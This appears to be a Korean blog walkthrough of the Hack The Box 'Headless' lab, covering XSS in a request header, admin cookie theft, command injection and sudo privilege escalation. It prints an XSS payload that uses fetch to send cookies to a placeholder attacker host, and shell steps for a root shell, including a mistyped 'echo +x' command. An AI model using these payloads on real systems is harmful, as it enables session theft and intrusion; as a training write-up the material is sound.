Home Hack The Box - headless
Post
Cancel

Hack The Box - headless

Hack The Box - Headless 문제를 풀어 봅시다.

Port Scanning

Port Scanning 결과는 22번(SSH)와 5000번 포트가 열려있습니다.

port_scan

XSS

5000번 포트로 접근 시 웹 페이지가 보입니다.

WEB

For questions 버튼을 누르면 이름, 폰번호, contents등을 적어 Submit을 할 수 있습니다.
다만 content에 <>가 들어가게 되면 hacking attempt detected가 되어 관리자에게 전달 된다고 합니다.
패킷의 내용을 보면 요청 헤더가 들어 간 것을 확인할 수 있습니다.

submit

detected

Submit 할때 요청 헤더에 XSS 구문을 넣으면 XSS가 동작하는 것을 확인할 수 있습니다.

host_xss

해당 부분에서 많은 시간을 걸렸는데 평소 XSS 점검을 하게 되면 보통 location.href, window.open등 함수를 이용하여 페이지가 이동되는 증적을 찍었는데 해당 문제에서는 동작을 하지 않았습니다.
문제에도 headless 라는 힌트가 있었고 아마 봇이 headless로 인해 해당 함수가 동작하지 않은 것을 알 수 있습니다.

headless 모드에서도 동작하는 방법 중 하나가 바로 fetch를 이용하는 것입니다.

  • <img src=x onerror=fetch(“http://{attacker_address}/cookie=”+document.cookie);>

XSS

Directory Busting

admin cookie를 탈취에 성공하고도 페이지의 달라진 점을 확인할 수 없었습니다.
그래서 dirb 라는 Directory Busting 도구를 이용하니 dashboard 페이지를 찾을 수 있습니다.

dirb

Coomand Injection

dashboard 페이지에 접근하면 Generate Report 버튼을 눌러 응답을 확인해보면 system? 어쩌구 하는 것을 보아 Command Injection 관련된 것을 추측하고, sleep 20를 주어 Command가 실행되는 것을 확인할 수 있습니다.
cat 명령으로 user flag를 얻을 수 있습니다. dashboard

user.txt

Local Privilege Escalation

sudo -l 명령어를 통해 NOPASSWD가 적용된 syscheck 명령어를 확인할 수 있습니다.

syscheck

syscheck 파일을 보면 pgrep으로 initdb.sh 검색 후 DB 서비스가 실행하지 않으면 해당 파일을 실행하는 것을 알 수 있습니다.
syscheck 실행 시 Database service is not running. Starting it... 응답으로 나오는 것을 보아 initdb.sh 파일을 만들어 권한상승이 가능한 것을 확인했습니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
 Systems are up and running!
#!/bin/bash

if [ "$EUID" -ne 0 ]; then
  exit 1
fi

last_modified_time=$(/usr/bin/find /boot -name 'vmlinuz*' -exec stat -c %Y {} + | /usr/bin/sort -n | /usr/bin/tail -n 1)
formatted_time=$(/usr/bin/date -d "@$last_modified_time" +"%d/%m/%Y %H:%M")
/usr/bin/echo "Last Kernel Modification Time: $formatted_time"

disk_space=$(/usr/bin/df -h / | /usr/bin/awk 'NR==2 {print $4}')
/usr/bin/echo "Available disk space: $disk_space"

load_average=$(/usr/bin/uptime | /usr/bin/awk -F'load average:' '{print $2}')
/usr/bin/echo "System load average: $load_average"

if ! /usr/bin/pgrep -x "initdb.sh" &>/dev/null; then
  /usr/bin/echo "Database service is not running. Starting it..."
  ./initdb.sh 2>/dev/null
else
  /usr/bin/echo "Database service is running."
fi

exit 0

리버스 쉘을 연결하고 아래의 명령어를 차례대로 입력 시 루트 권한을 획득 할 수 있습니다.

  • echo "/bin/bash" > initdb.sh
  • echo +x initdb.sh
  • sudo syscheck

root_shell

후기

fetchXMLHttpRequest를 알고는 있었는데 바로바로 생각이 나지 않았습니다…
앞으로 XSS 점검 시에는 fetch로도 증적을 남겨야겠습니다!!

sudo의 nopasswd로 인한 권한 상승 케이스는 사실 실무에서는 많이 발견하기는 어렵지만 그래도 언제봐도 신기한거 같습니다. :D